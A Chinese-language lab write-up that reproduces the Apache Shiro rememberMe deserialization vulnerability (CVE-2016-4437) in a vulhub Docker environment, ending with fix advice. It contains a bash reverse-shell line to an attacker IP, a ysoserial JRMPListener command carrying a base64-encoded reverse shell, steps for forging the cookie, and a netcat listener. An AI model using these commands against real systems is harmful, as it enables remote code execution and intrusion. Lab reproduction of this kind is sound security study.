Apache Shiro反序列化漏洞 (CVE-2016-4437)复现
0x00 漏洞简介
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
0x01 环境启动
cd /root/vulhub-master/shiro/CVE-2016-4437
docker-compose build
docker-compose up -d
0x02 漏洞复现
访问htp://靶机IP:8080 显示登录页面
响应包中可以看到shiro的特征参数 rememberMe=deleteMe
环境启动后,我们需下载复现所需的ysoserial工具
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
构造反弹shell语句,可使用在线平台自动生成 https://ares-x.com/tools/runtime-exec
bash -i >& /dev/tcp/攻击IP/1234 0>&1
执行 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 ‘bash -c {echo,YmFzaCAtaSA+JiAvZssxxxxxxxxxxxxxxxxxxxDYuNzUvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}’
利用密钥伪造rememberMe字段,脚本如下:
执行python3 shiro.py 攻击IP:7777获取ysoserial-all.jar监听端口:
在登录页面抓包 cookie处添加我们伪造好的rememberMe参数
nc监听1234端口成功反弹shell
0x03 修复建议
更新shiro到1.2.4以上的版本。 不使用默认的加密密钥,改为随机生成密钥。